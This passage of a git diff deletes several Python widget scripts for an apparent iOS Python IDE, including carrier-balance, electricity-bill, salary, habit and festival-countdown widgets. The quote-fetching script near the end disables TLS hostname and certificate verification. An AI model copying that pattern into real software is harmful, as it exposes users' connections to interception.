"__main__": - fetch_and_generate_vmess() \ No newline at end of file diff --git a/script_library/scripts/widgets/2_0_mn37c7pr.py b/script_library/scripts/widgets/2_0_mn37c7pr.py deleted file mode 100644 index cb3ed1c..0000000 --- a/script_library/scripts/widgets/2_0_mn37c7pr.py +++ /dev/null @@ -1,100 +0,0 @@ -# 2026-3-23 by.Silence 测试设备16.2 14pm -import requests -from widget import Widget, family -from widget import SMALL, MEDIUM, LARGE, CIRCULAR, RECTANGULAR -from datetime import datetime - - -def get_unicom_data(): - url = '自行填写' - headers = { - 'Host': 'm.client.10010.com', - 'User-Agent': '自行填写', - 'Cookie': '自行填写' - } - try: - res = requests.get(url, headers=headers, timeout=5) - if res.status_code == 200: - data = res.json() - flow = data.get('flowResource', {}).get('flowPersent', '0') - fee = data.get('feeResource', {}).get('feePersent', '0') - voice = data.get('voiceResource', {}).get('voicePersent', '0') - t = data.get("flush_date_time", "").split(" ")[-1] if " " in data.get("flush_date_time", "") else "刚刚" - return True, flow, fee, voice, t - except: - pass - return False, "0", "0", "0", "--" - - -def get_date_tip(): - now = datetime.now() - week_list = ["周一", "周二", "周三", "周四", "周五", "周六", "周日"] - week_day = week_list[now.weekday()] - month_day = now.strftime("%m月%d日") - - year_start = datetime(now.year, 1, 1) - year_end = datetime(now.year+1, 1, 1) - year_pass = (now - year_start).total_seconds() - year_total = (year_end - year_start).total_seconds() - year_percent = int((year_pass / year_total) * 100) - return f"{week_day} {month_day} · 今年已过{year_percent}%" - - -success, flow, fee, voice, update_time = get_unicom_data() -date_tip = get_date_tip() - -w = Widget( - background=("#FFFFFF", "#0B0F1A"), - padding=16 -) - -if family == MEDIUM: - with w.hstack(spacing=0): - - - with w.vstack(align="leading", spacing=0): - with w.hstack(spacing=6, align="center"): - w.icon("antenna.radiowaves.left.and.right", size=16, color="#E63946") - w.text("中国联通", size=14, weight="bold", color=("#111", "#EEE"), max_lines=1) - - w.spacer(14) - w.text("剩余通用流量", size=12, color=("#64748B", "#94A3B8"), max_lines=1) - w.spacer(4) - - with w.hstack(spacing=4, align="bottom"): - w.text(flow, size=36, weight="bold", design="rounded", color=("#000", "#FFF"), max_lines=1) - w.text("GB", size=14, weight="bold", color="#E63946", max_lines=1) - - - w.spacer(8) - w.text(date_tip, size=11, color=("#94A3B8", "#64748B"), max_lines=1) - - w.spacer() - - - with w.vstack(align="leading", spacing=10): - w.spacer(6) - - with w.hstack(spacing=8, align="center"): - w.icon("yensign.circle.fill", size=14, color="#F59E0B") - w.text(f"{fee} 元", size=11, weight="semibold", color="#F59E0B", max_lines=1) - - with w.hstack(spacing=8, align="center"): - w.icon("phone.fill", size=14, color="#10B981") - w.text(f"{voice} 分钟", size=11, weight="semibold", color="#10B981", max_lines=1) - - with w.hstack(spacing=8, align="center"): - w.icon("clock", size=14, color=("#94A3B8", "#64748B")) - w.text(update_time, size=11, color=("#94A3B8", "#64748B"), max_lines=1) - - -if not success: - w = Widget(background=("#FFFFFF", "#0B0F1A"), padding=16) - with w.vstack(align="center", spacing=8): - w.spacer() - w.icon("wifi.exclamationmark", size=30, color=("#64748B", "#94A3B8")) - w.text("数据获取失败", size=14, weight="semibold", color=("#111", "#EEE"), max_lines=1) - w.text("请更新Cookie", size=12, color=("#64748B", "#94A3B8"), max_lines=1) - w.spacer() - -w.render(url="pythonide://") \ No newline at end of file diff --git a/script_library/scripts/widgets/2_mna8yaj4.py b/script_library/scripts/widgets/2_mna8yaj4.py deleted file mode 100644 index 3c11476..0000000 --- a/script_library/scripts/widgets/2_mna8yaj4.py +++ /dev/null @@ -1,113 +0,0 @@ -from widget import Widget -from datetime import datetime, date, timedelta - -LUNAR_FESTIVALS = { - "春节": {2026: (2,17), 2027: (2,6), 2028: (1,26), 2029: (2,13), 2030: (2,3)}, - "端午节": {2026: (6,19), 2027: (6,9), 2028: (5,28), 2029: (6,16), 2030: (6,5)}, - "七夕节": {2026: (8,20), 2027: (8,9), 2028: (7,26), 2029: (8,15), 2030: (8,4)}, - "中秋节": {2026: (9,27), 2027: (9,15), 2028: (10,3), 2029: (9,22), 2030: (9,12)}, - "重阳节": {2026: (10,30), 2027: (10,9), 2028: (10,26), 2029: (10,16), 2030: (10,5)}, -} - -FESTIVAL_CONFIG = [ - {"name": "元旦", "slogan": "新岁伊始,万事可期", "icon": "sparkles", "color": ("#007aff", "#409cff"), "is_lunar": False, "month": 1, "day": 1}, - {"name": "春节", "slogan": "辞旧迎新,岁岁平安", "icon": "gift.fill", "color": ("#e63946", "#ff4757"), "is_lunar": True}, - {"name": "情人节", "slogan": "爱意随风起,浪漫不停歇", "icon": "heart.fill", "color": ("#ff6b81", "#ff85a1"), "is_lunar": False, "month": 2, "day": 14}, - {"name": "清明节", "slogan": "清明踏青,不负春光", "icon": "leaf.fill", "color": ("#2ecc71", "#34d399"), "is_lunar": False, "month": 4, "day": 5}, - {"name": "劳动节", "slogan": "劳逸结合,快乐放假", "icon": "hammer.fill", "color": ("#f39c12", "#fbbf24"), "is_lunar": False, "month": 5, "day": 1}, - {"name": "端午节", "slogan": "粽有安康,岁岁年年", "icon": "takeoutbag.and.cup.and.straw.fill", "color": ("#16a085", "#2dd4bf"), "is_lunar": True}, - {"name": "七夕节", "slogan": "星河万里,人间欢喜", "icon": "heart.circle.fill", "color": ("#e84393", "#f472b6"), "is_lunar": True}, - {"name": "中秋节", "slogan": "月圆人圆,事事圆满", "icon": "moon.stars.fill", "color": ("#f9ca24", "#fde047"), "is_lunar": True}, - {"name": "国庆节", "slogan": "山河锦绣,国泰民安", "icon": "flag.fill", "color": ("#dc2626", "#ef4444"), "is_lunar": False, "month": 10, "day": 1}, - {"name": "重阳节", "slogan": "登高望远,敬老安康", "icon": "figure.walk", "color": ("#78350f", "#92400e"), "is_lunar": True}, -] - -QUOTES = [ - "生活不止眼前的苟且,还有诗和远方.--海子", - "天行健,君子以自强不息.«周易»", - "路漫漫其修远兮,吾将上下而求索.--屈原", - "不积跬步,无以至千里.--荀子", - "静以修身,俭以养德.--诸葛亮", - "三人行,必有我师焉.--孔子", - "欲速则不达.--«论语»", - "长风破浪会有时,直挂云帆济沧海.--李白", - "海阔凭鱼跃,天高任鸟飞.--«增广贤文»", - "胜不骄,败不馁.--俗语", - "天生我材必有用.--李白", - "莫愁前路无知己,天下谁人不识君.--高适", - "千里之行,始于足下.--老子", - "知足者常乐.--老子", - "宠辱不惊,看庭前花开花落.--«菜根谭»", - "是非成败转头空.--罗贯中", - "人生得意须尽欢,莫使金樽空对月.--李白", - "不以物喜,不以己悲.--范仲淹" -] - -now = datetime.now() -today = date.today() -current_year = today.year - -processed_festivals = [] -for fest in FESTIVAL_CONFIG: - if fest["is_lunar"]: - fn = fest["name"] - m, d = LUNAR_FESTIVALS[fn].get(current_year, LUNAR_FESTIVALS[fn][2026]) - else: - m, d = fest["month"], fest["day"] - fd = datetime(current_year, m, d) - if fd < now: - next_year = current_year + 1 - if fest["is_lunar"]: - m, d = LUNAR_FESTIVALS[fn].get(next_year, LUNAR_FESTIVALS[fn][2026]) - fd = datetime(next_year, m, d) - processed_festivals.append({**fest, "date": fd, "date_text": f"{fd.month}月{fd.day}日", "days_left": (fd - now).days}) - -processed_festivals.sort(key=lambda x: x["days_left"]) -nearest_fest = processed_festivals[0] - -daily_quote = QUOTES[(today.month * 31 + today.day) % len(QUOTES)] -daily_quote = daily_quote.replace("--", " —— ").replace("«", "《").replace("»", "》") - -accent = nearest_fest["color"] - -w = Widget( - background=("#FFFFFF", "#0B0F1A"), - padding=15 -) - -with w.hstack(spacing=0): - - with w.vstack(align="leading", spacing=0): - with w.hstack(spacing=6, align="center"): - w.icon(nearest_fest["icon"], size=23, color=accent) - w.text(f"{nearest_fest['date_text']} {nearest_fest['name']}", - size=15.5, weight="semibold", color=("#1f2937", "#f3f4f6")) - - w.spacer(14) - - with w.hstack(spacing=3, align="center"): - w.spacer() - w.text(str(nearest_fest["days_left"]), size=58, weight="black", color=accent) - w.text("天", size=26, weight="semibold", color=accent) - w.spacer() - - w.spacer(8) - w.text(nearest_fest["slogan"], size=13.5, weight="medium", - color=("#475569", "#cbd5e1"), max_lines=1) - - w.spacer(12) - w.text(daily_quote, size=11.5, color=("#64748b", "#94a3b8"), max_lines=2) - - w.spacer(16) - - with w.vstack(align="leading", spacing=7): - w.text("即将到来", size=13, weight="semibold", color=("#64748b", "#94a3b8")) - - for fest in processed_festivals[1:4]: - with w.hstack(spacing=9, align="center"): - w.icon(fest["icon"], size=18, color=fest["color"]) - with w.vstack(spacing=0.5, align="leading"): - w.text(f"{fest['date'].month}月{fest['date'].day}日", size=10.5, color=("#64748b", "#94a3b8")) - w.text(f"还有 {fest['days_left']} 天 {fest['name'][:2]}", size=13, weight="semibold", color=fest["color"]) - -w.render(url="calshow://") \ No newline at end of file diff --git a/script_library/scripts/widgets/e_mnagdrfc.py b/script_library/scripts/widgets/e_mnagdrfc.py deleted file mode 100644 index 40d0fff..0000000 --- a/script_library/scripts/widgets/e_mnagdrfc.py +++ /dev/null @@ -1,178 +0,0 @@ -# -*- coding: utf-8 -*- -""" -电费剩余金额桌面小组件 -使用方法:运行脚本生成小组件配置 -""" - -from widget import Widget, family,SMALL, MEDIUM, LARGE -import datetime -import requests - -# ═══════════════════════════════════════════════════════════ -# 可修改的配置变量 - -YHDABH = "自行填入" #抓包修改这里,yhdabh=2MqPtcetcUPDScD==类似这样的 -# ═══════════════════════════════════════════════════════════ -API_URL = "https://mdej.impc.com.cn/hlwyy/business-jffw/znjf/queryDfInfoNew_new" - -PARAMS = { - "get": "", - "yhdabh": YHDABH -} -REQUEST_TIMEOUT = 10 # 请求超时时间(秒) - -# ═══════════════════════════════════════════════════════════ -# 网络请求获取数据 -# ═══════════════════════════════════════════════════════════ -def fetch_electricity_data(): - """ - 从网络获取电费数据 - 返回: dict 或 None(请求失败时返回None) - """ - try: - response = requests.get( - API_URL, - params=PARAMS, - timeout=REQUEST_TIMEOUT, - headers={ - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15", - "Accept": "application/json" - } - ) - response.raise_for_status() - json_data = response.json() - - if json_data.get("code") == 0 and json_data.get("data"): - return json_data["data"] - else: - print(f"API返回异常: code={json_data.get('code')}, msg={json_data.get('msg', '无')}") - return None - - except requests.exceptions.Timeout: - print("请求超时,请检查网络连接") - return None - except requests.exceptions.ConnectionError: - print("网络连接失败,请检查网络") - return None - except requests.exceptions.HTTPError as e: - print(f"HTTP错误: {e}") - return None - except ValueError: - print("JSON解析失败") - return None - except Exception as e: - print(f"未知错误: {e}") - return None - -# 获取数据 -api_data = fetch_electricity_data() - -# 如果网络请求失败,使用默认数据 -if api_data is None: - api_data = { - "gsbh": "--", - "limitFlag": "--", - "qjwyj": "0.0", - "syje": "0.0", - "name": "网络异常", - "addr": "--", - "khxzmc": "--", - "sfyxjf": "--" - } - -# 提取数据 -syje = float(api_data.get("syje", "0")) -name = api_data.get("name", "--") -khxzmc = api_data.get("khxzmc", "--") -now = datetime.datetime.now() - -# 判断余额状态 -if syje < 10: - status_color = ("#EF4444", "#F87171") # 红色 - 余额不足 - status_text = "余额不足" - status_icon = "exclamationmark.triangle.fill" -elif syje < 50: - status_color = ("#F59E0B", "#FBBF24") # 橙色 - 偏低 - status_text = "余额偏低" - status_icon = "exclamationmark.circle.fill" -else: - status_color = ("#10B981", "#34D399") # 绿色 - 正常 - status_text = "余额充足" - status_icon = "checkmark.circle.fill" - -# 创建小组件 -w = Widget(background=("#F8FAFC", "#0F172A"), padding=14) - -if family == SMALL: - # 小尺寸:居中显示核心金额 - with w.vstack(spacing=0, align="center"): - w.spacer() - w.icon(status_icon, size=16, color=status_color) - w.spacer(4) - w.text(f"¥{syje:.1f}", size=26, weight="bold", design="rounded", - color=("#0F172A", "#F8FAFC")) - w.spacer(2) - w.text("电费余额", size=11, color=("#94A3B8", "#64748B")) - w.spacer() - -elif family == MEDIUM: - # 中尺寸:左侧金额 + 右侧状态信息 - with w.hstack(spacing=0): - # 左侧:金额显示 - with w.vstack(spacing=4, align="leading"): - w.icon("bolt.fill", size=14, color="#3B82F6") - w.text("电费余额", size=12, color=("#94A3B8", "#64748B")) - w.text(f"¥{syje:.1f}", size=28, weight="bold", design="rounded", - color=("#0F172A", "#F8FAFC")) - w.spacer() - # 右侧:状态卡片 - with w.card(background=("#F1F5F9", "#1E293B"), - corner_radius=10, padding=10, spacing=4): - w.icon(status_icon, size=16, color=status_color) - w.text(status_text, size=12, weight="medium", - color=("#334155", "#E2E8F0")) - w.text(f"更新 {now.strftime('%H:%M')}", size=10, - color=("#94A3B8", "#64748B")) - -else: - # 大尺寸:完整信息展示 - # 头部 - with w.hstack(spacing=6): - w.icon("bolt.fill", size=16, color="#3B82F6") - w.text("电费余额查询", size=16, weight="semibold", - color=("#334155", "#E2E8F0")) - w.spacer() - w.text(f"{now.month}月{now.day}日 {now.strftime('%H:%M')}", size=11, - color=("#94A3B8", "#64748B")) - - w.spacer(10) - - # 核心金额卡片 - with w.card(background={"gradient": ["#3B82F6", "#8B5CF6"], "direction": "diagonal"}, - corner_radius=14, padding=16, spacing=4): - with w.vstack(spacing=4, align="center"): - w.text("账户余额", size=13, color=("#FFFFFF", "#E0E7FF"), opacity=0.9) - w.text(f"¥{syje:.1f}", size=36, weight="bold", design="rounded", - color=("#FFFFFF", "#FFFFFF")) - with w.hstack(spacing=4): - w.icon(status_icon, size=12, color=("#FFFFFF", "#E0E7FF")) - w.text(status_text, size=12, weight="medium", - color=("#FFFFFF", "#E0E7FF")) - - w.spacer(10) - - # 底部信息卡片 - with w.card(background=("#F1F5F9", "#1E293B"), - corner_radius=10, padding=12, spacing=0): - with w.hstack(spacing=0): - with w.vstack(spacing=2, align="leading"): - w.text("户主", size=11, color=("#94A3B8", "#64748B")) - w.text(name, size=13, weight="medium", - color=("#334155", "#E2E8F0")) - w.spacer() - with w.vstack(spacing=2, align="leading"): - w.text("用电类型", size=11, color=("#94A3B8", "#64748B")) - w.text(khxzmc, size=13, weight="medium", - color=("#334155", "#E2E8F0")) - -w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/iphone_mnj29d3s.py b/script_library/scripts/widgets/iphone_mnj29d3s.py deleted file mode 100644 index ffd6cb5..0000000 --- a/script_library/scripts/widgets/iphone_mnj29d3s.py +++ /dev/null @@ -1,74 +0,0 @@ -# 2026-4-3 Silence - -import os -from widget import Widget, family, MEDIUM - -def get_storage_info(): - statvfs = os.statvfs('/') - block_size = statvfs.f_frsize - total = statvfs.f_blocks * block_size - free = statvfs.f_bavail * block_size - used = total - free - used_percent = (used / total) * 100 if total else 0 - - total_gb = total / (1024**3) - used_gb = used / (1024**3) - free_gb = free / (1024**3) - return total_gb, used_gb, free_gb, used_percent - -def render_widget(): - total, used, free, percent = get_storage_info() - - bar_width = int(200 * (percent / 100)) - bar_width = min(200, max(0, bar_width)) - - bg_color = ("#F1F5F9", "#0F172A") - w = Widget(background=bg_color, padding=16) - - with w.vstack(spacing=12): - - with w.hstack(): - w.icon("internaldrive", size=18, color="#3B82F6") - w.text("存储空间", size=14, weight="semibold", color=("#0F172A", "#F1F5F9")) - w.spacer() - w.text(f"{percent:.0f}%", size=12, weight="medium", color="#3B82F6") - - - with w.hstack(): - w.spacer() - with w.vstack(): - - w.text("", size=1) - - pass - - w.progress(percent / 100, color="#3B82F6", track_color=("#E2E8F0", "#334155"), height=8) - - - with w.hstack(): - with w.vstack(align="leading", spacing=4): - w.text("已用", size=11, color=("#64748B", "#94A3B8")) - w.text(f"{used:.1f} GB", size=15, weight="bold", color=("#0F172A", "#F1F5F9")) - w.spacer() - with w.vstack(align="trailing", spacing=4): - w.text("可用", size=11, color=("#64748B", "#94A3B8")) - w.text(f"{free:.1f} GB", size=15, weight="bold", color=("#10B981", "#34D399")) - w.spacer() - with w.vstack(align="trailing", spacing=4): - w.text("总计", size=11, color=("#64748B", "#94A3B8")) - w.text(f"{total:.1f} GB", size=15, weight="bold", color=("#0F172A", "#F1F5F9")) - - - if free < 5: - w.text("⚠️剩余不足5G快去删点片吧⚠️", size=10, color="#EF4444", align="center") - - w.render() - -if family == MEDIUM: - render_widget() -else: - w = Widget(background=("#FFFFFF", "#0B0F1A"), padding=16) - with w.vstack(align="center", spacing=8): - w.icon("internaldrive", size=30, color="#3B82F6") - w.text("请使用中尺寸小组件", size=14, weight="semibold", color=("#111", "#EEE")) - w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/salary_widget_mnyqeg8t.py b/script_library/scripts/widgets/salary_widget_mnyqeg8t.py deleted file mode 100644 index c2e36cb..0000000 --- a/script_library/scripts/widgets/salary_widget_mnyqeg8t.py +++ /dev/null @@ -1,191 +0,0 @@ -from widget import Widget, family, SMALL, MEDIUM, LARGE -from datetime import datetime, date - -# 年薪(元),修改此數值 -ANNUAL_SALARY = 1_000_000 - -# 台灣國定假日 2026 -TW_HOLIDAYS_2026 = { - date(2026, 1, 1), # 元旦 - date(2026, 2, 16), # 除夕 - date(2026, 2, 17), # 春節 - date(2026, 2, 18), # 春節 - date(2026, 2, 19), # 春節 - date(2026, 2, 20), # 春節 - date(2026, 2, 28), # 和平紀念日 - date(2026, 4, 3), # 兒童節 - date(2026, 4, 4), # 清明節 - date(2026, 5, 1), # 勞動節 - date(2026, 6, 19), # 端午節 - date(2026, 9, 25), # 中秋節 - date(2026, 10, 9), # 國慶日補假 - date(2026, 10, 10), # 國慶日 -} - -TW_HOLIDAYS = TW_HOLIDAYS_2026 - - -# 判斷是否為工作日,排除週六日與國定假日 -def is_workday(d): - if d.weekday() >= 5: # 週六=5, 週日=6 - return False - if d in TW_HOLIDAYS: - return False - return True - - -# 計算指定年份的總工作天數 -def count_workdays_in_year(year): - d = date(year, 1, 1) - count = 0 - while d.year == year: - if is_workday(d): - count += 1 - d = date.fromordinal(d.toordinal() + 1) - return count - - -# 計算今天已賺的金額與年度累積 -def calc_earned_today(salary): - now = datetime.now() - today = now.date() - year = today.year - - total_workdays = count_workdays_in_year(year) - daily_salary = salary / total_workdays - - # 今年元旦到昨天的工作日數 - days_elapsed = (today - date(year, 1, 1)).days - workdays_before_today = sum( - 1 for i in range(days_elapsed) - if is_workday(date.fromordinal(date(year, 1, 1).toordinal() + i)) - ) - - today_is_workday = is_workday(today) - - if today_is_workday: - # 工作時間 08:20 ~ 17:45 - work_start = now.replace(hour=8, minute=20, second=0, microsecond=0) - work_end = now.replace(hour=17, minute=45, second=0, microsecond=0) - - if now < work_start: - fraction = 0.0 - elif now >= work_end: - fraction = 1.0 - else: - elapsed = (now - work_start).total_seconds() - total = (work_end - work_start).total_seconds() - fraction = elapsed / total - - today_earned = daily_salary * fraction - else: - fraction = 0.0 - today_earned = 0.0 - - ytd_earned = (workdays_before_today + (fraction if today_is_workday else 0)) * daily_salary - - return { - "today_earned": today_earned, - "ytd_earned": ytd_earned, - "daily_salary": daily_salary, - "total_workdays": total_workdays, - "today_is_workday": today_is_workday, - "fraction": fraction, - "now": now, - } - - -# 執行計算 -info = calc_earned_today(ANNUAL_SALARY) -now = info["now"] - -fmt_today = f"${info['today_earned']:,.0f}" -fmt_ytd = f"${info['ytd_earned']:,.0f}" -fmt_daily = f"${info['daily_salary']:,.0f}" -progress_val = info["fraction"] - -day_status = "工作日 💼" if info["today_is_workday"] else "假日 🎉" -time_str = now.strftime("%H:%M") -date_str = now.strftime("%m/%d") - -# 工作日顯示綠色進度條,假日顯示灰色 -bar_color = "#4ADE80" if info["today_is_workday"] else "#6B7280" - -# 建立 Widget,深色背景 -w = Widget(background=("#0F172A", "#0F172A"), padding=0) - -if family == SMALL: - with w.vstack(spacing=6, padding=12): - w.text("今日薪資", size=11, color="#94A3B8", weight="medium") - w.text(fmt_today, size=22, color="#4ADE80", weight="bold") - w.spacer(length=2) - w.progress(progress_val, color=bar_color, height=5, track_color="#1E293B") - w.text(f"{date_str} {time_str} {day_status}", size=10, color="#64748B") - -elif family == LARGE: - with w.vstack(spacing=10, padding=16): - # 標題列 - with w.hstack(spacing=6): - w.icon("dollarsign.circle.fill", size=16, color="#4ADE80") - w.text("薪資追蹤器", size=14, color="#CBD5E1", weight="semibold") - w.spacer() - w.text(f"{date_str} {time_str}", size=12, color="#64748B") - - w.divider(color="#1E293B") - - # 今日薪資 - w.text("今日已賺", size=12, color="#94A3B8") - w.text(fmt_today, size=36, color="#4ADE80", weight="bold") - w.text(day_status, size=12, color="#94A3B8") - - # 進度條與百分比 - w.progress(progress_val, color=bar_color, height=8, track_color="#1E293B") - w.text(f"工作進度 {progress_val * 100:.0f}%", size=11, color="#64748B", align="trailing") - - w.spacer(length=4) - w.divider(color="#1E293B") - - # 年度統計三欄 - with w.hstack(spacing=8): - with w.card(background="#1E293B", corner_radius=10, padding=10): - w.text("年薪", size=11, color="#94A3B8") - w.text(f"${ANNUAL_SALARY:,}", size=14, color="white", weight="bold") - with w.card(background="#1E293B", corner_radius=10, padding=10): - w.text("日薪", size=11, color="#94A3B8") - w.text(fmt_daily, size=14, color="white", weight="bold") - with w.card(background="#1E293B", corner_radius=10, padding=10): - w.text("年度累積", size=11, color="#94A3B8") - w.text(fmt_ytd, size=14, color="#FCD34D", weight="bold") - -else: - # MEDIUM 尺寸(預設) - with w.vstack(spacing=0, padding=6): - # 上半:今日薪資 + 時間狀態 - with w.hstack(): - with w.vstack(spacing=2, align="leading"): - w.text("今日薪資", size=15, color="#94A3B8", weight="medium") - w.text(fmt_today, size=44, color="#4ADE80", weight="bold") - w.spacer() - with w.vstack(spacing=3, align="trailing"): - w.text(date_str, size=16, color="#64748B", weight="medium") - w.text(time_str, size=23, color="#CBD5E1", weight="semibold") - w.text(day_status, size=15, color="#94A3B8") - - w.spacer() - - # 進度條 - w.progress(progress_val, color=bar_color, height=8, track_color="#1E293B") - - w.spacer(length=6) - - # 下半:日薪 + 年度累計 - with w.hstack(padding=2): - with w.vstack(spacing=2, align="leading"): - w.text("日薪", size=14, color="#64748B") - w.text(fmt_daily, size=20, color="#CBD5E1", weight="semibold") - w.spacer() - with w.vstack(spacing=2, align="trailing"): - w.text("年度累積", size=14, color="#64748B") - w.text(fmt_ytd, size=20, color="#FCD34D", weight="semibold") - -w.render() diff --git a/script_library/scripts/widgets/script_mmwa0ets.py b/script_library/scripts/widgets/script_mmwa0ets.py deleted file mode 100644 index ca26ce2..0000000 --- a/script_library/scripts/widgets/script_mmwa0ets.py +++ /dev/null @@ -1,94 +0,0 @@ -# -*- coding: utf-8 -*- -"""习惯追踪器 — 7 habits, streak, progress ring.""" - -from widget import Widget, family, SMALL, MEDIUM, LARGE -import time, random - -habits = [ - ("💧", "喝水", True), - ("📖", "阅读", True), - ("🏃", "运动", False), - ("🧘", "冥想", True), - ("🍎", "水果", True), - ("😴", "早睡", False), - ("📝", "日记", True), -] - -done = sum(1 for *_, ok in habits if ok) -total = len(habits) -streak = 12 - -bg = {"gradient": ["#6366F1", "#8B5CF6"], "direction": "diagonal"} -card_bg = ("#FFFFFF", "#1E1B4B") -txt_main = ("#1E1B4B", "#E0E7FF") -txt_sub = ("#6366F1", "#A5B4FC") -done_clr = ("#22C55E", "#4ADE80") -miss_clr = ("#E5E7EB", "#312E81") - -w = Widget(background=bg, padding=12) - -if family in (SMALL, "small"): - with w.vstack(spacing=6): - with w.hstack(spacing=6, align="center"): - w.icon("checkmark.circle.fill", size=16, color="#A5B4FC") - w.text("习惯", size=15, weight="bold", color="#FFFFFF") - w.spacer() - w.text(f"🔥{streak}天", size=12, color="#FDE68A") - w.gauge(done, total, label="", size=54, color="#34D399", - track_color=("#C7D2FE", "#312E81"), line_width=6) - w.text(f"{done}/{total} 已完成", size=12, weight="medium", - color="#E0E7FF", align="center") - -elif family in (MEDIUM, "medium"): - with w.hstack(spacing=10): - with w.vstack(spacing=4, padding=4): - with w.hstack(spacing=4, align="center"): - w.icon("checkmark.circle.fill", size=14, color="#A5B4FC") - w.text("习惯追踪", size=14, weight="bold", color="#FFFFFF") - w.spacer() - w.gauge(done, total, label="", size=56, color="#34D399", - track_color=("#C7D2FE", "#312E81"), line_width=6) - w.text(f"{done}/{total}", size=11, color="#E0E7FF", align="center") - with w.vstack(spacing=3): - with w.hstack(spacing=4, align="center"): - w.text(f"🔥 连续 {streak} 天", size=11, weight="semibold", - color="#FDE68A") - w.spacer() - for emoji, name, ok in habits: - with w.hstack(spacing=4, align="center"): - w.text(emoji, size=12) - w.text(name, size=11, color="#E0E7FF") - w.spacer() - w.icon("checkmark.circle.fill" if ok else "circle", - size=13, - color="#4ADE80" if ok else "#6366F1") - -else: - with w.vstack(spacing=6): - with w.hstack(spacing=6, align="center"): - w.icon("checkmark.circle.fill", size=18, color="#A5B4FC") - w.text("习惯追踪器", size=17, weight="bold", color="#FFFFFF") - w.spacer() - w.text(f"🔥 连续 {streak} 天", size=13, weight="semibold", - color="#FDE68A") - w.divider(color="#818CF8") - with w.hstack(spacing=8, align="center"): - w.gauge(done, total, label="", size=64, color="#34D399", - track_color=("#C7D2FE", "#312E81"), line_width=7) - with w.vstack(spacing=2): - w.text(f"{done}/{total} 已完成", size=13, weight="semibold", - color="#E0E7FF") - pct = int(done / total * 100) - w.progress(done, total, color="#34D399", height=6, - track_color=("#C7D2FE", "#312E81")) - w.text(f"完成率 {pct}%", size=11, color="#A5B4FC") - w.divider(color="#818CF8") - with w.hstack(spacing=6): - for emoji, name, ok in habits: - with w.vstack(spacing=2, align="center"): - w.text(emoji, size=18) - w.icon("checkmark.circle.fill" if ok else "circle", - size=14, - color="#4ADE80" if ok else "#6366F1") - -w.render() diff --git a/script_library/scripts/widgets/script_mmyzioeo.py b/script_library/scripts/widgets/script_mmyzioeo.py deleted file mode 100644 index 3b8755e..0000000 --- a/script_library/scripts/widgets/script_mmyzioeo.py +++ /dev/null @@ -1,85 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ - -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -from widget import Widget -from datetime import datetime, date - -w = Widget() # 原生背景,系统自动深浅模式 - -now = datetime.now() -today = date.today() -current_year = today.year - - -year_start = date(current_year, 1, 1) -days_in_year = (date(current_year + 1, 1, 1) - year_start).days -days_passed = (today - year_start).days -progress = days_passed / days_in_year if days_in_year > 0 else 0 - -festivals = [ - (1, 1, "元旦", "新年快乐!今年继续摆烂吗?"), - (2, 14, "情人节", "单身狗别哭,晚上要深深惹哦~"), - (4, 5, "清明节", "扫完墓记得踏青啊,别只顾着emo"), - (5, 1, "劳动节", "放假了!该卷的卷,该摸的摸"), - (6, 10, "端午节", "粽子管够!赛龙舟我在岸上吃瓜"), - (8, 20, "七夕", "中国版情人节,脱单的冲!单身的养神兽"), - (9, 25, "中秋节", "月饼别吃太多,赏月许愿发财"), - (10, 1, "国庆节", "黄金周!堵高速上思考人生?"), - (10, 15, "重阳节", "老人节!爬山?我家喝茶敬老"), - (2, 10, "春节", "过年好!红包拿来!今年发大财!") -] - -next_fests = [] -for month, day, name, egg in festivals: - fest_date = datetime(today.year, month, day) - if fest_date < now: - fest_date = datetime(today.year + 1, month, day) - next_fests.append((fest_date, name, egg)) - -next_fest = min(next_fests, key=lambda x: x[0]) -days_to_fest = (next_fest[0] - now).days -name = next_fest[1] -egg = next_fest[2] -fest_date_str = f"{next_fest[0].month}月{next_fest[0].day}日" - - -quotes = [ - "生活不止眼前的苟且,还有诗和远方.--海子", - "天行健,君子以自强不息.«周易»", - "路漫漫其修远兮,吾将上下而求索.--屈原", - "不积跬步,无以至千里.--荀子", - "静以修身,俭以养德.--诸葛亮", - "三人行,必有我师焉.--孔子", - "欲速则不达.--«论语»", - "长风破浪会有时,直挂云帆济沧海.--李白", - "海阔凭鱼跃,天高任鸟飞.--«增广贤文»", - "胜不骄,败不馁.--俗语", - "天生我材必有用.--李白", - "莫愁前路无知己,天下谁人不识君.--高适", - "千里之行,始于足下.--老子", - "知足者常乐.--老子", - "宠辱不惊,看庭前花开花落.--«菜根谭»", - "是非成败转头空.--罗贯中", - "人生得意须尽欢,莫使金樽空对月.--李白", - "不以物喜,不以己悲.--范仲淹" -] -quote = quotes[(today.month * 31 + today.day) % len(quotes)] - -with w.vstack(spacing=6, padding=10, align="leading"): - w.icon("escape", size=22, color="#ff9500") - - w.text(f"下个节日:{fest_date_str} {name}", size=17, weight="bold", color="#1f2937") - - with w.hstack(spacing=15, align="top"): - with w.vstack(spacing=15.5, align="leading"): - w.text(f"倒计时 {days_to_fest} 天", size=28, weight="heavy", color="#e63946") - w.text(egg, size=13.5, color="#4b5563") - w.text(quote, size=13.5, weight="bold", color="#666666") - - - with w.vstack(spacing=2, align="center"): - w.gauge(progress, size=60, color="#10b981", track_color="#e5e7eb") - w.text(f"{int(progress*100)}%", size=20, weight="bold", color="#10b981") - w.text(f"{current_year} 已过", size=12, color="#4b5563") - -w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mn91mn1t.py b/script_library/scripts/widgets/script_mn91mn1t.py deleted file mode 100644 index 43e5959..0000000 --- a/script_library/scripts/widgets/script_mn91mn1t.py +++ /dev/null @@ -1,113 +0,0 @@ -from widget import Widget, family, SMALL, MEDIUM, LARGE -import datetime -import ujson -import ssl - -# 从网络获取古诗词名句 -def get_quote(): - try: - import urllib.request - - ctx = ssl.create_default_context() - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - - opener = urllib.request.build_opener( - urllib.request.HTTPSHandler(context=ctx) - ) - - req = urllib.request.Request( - 'https://v1.jinrishici.com/all.json', - headers={ - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS like Mac OS X) AppleWebKit/605.1.15' - } - ) - - response = opener.open(req, 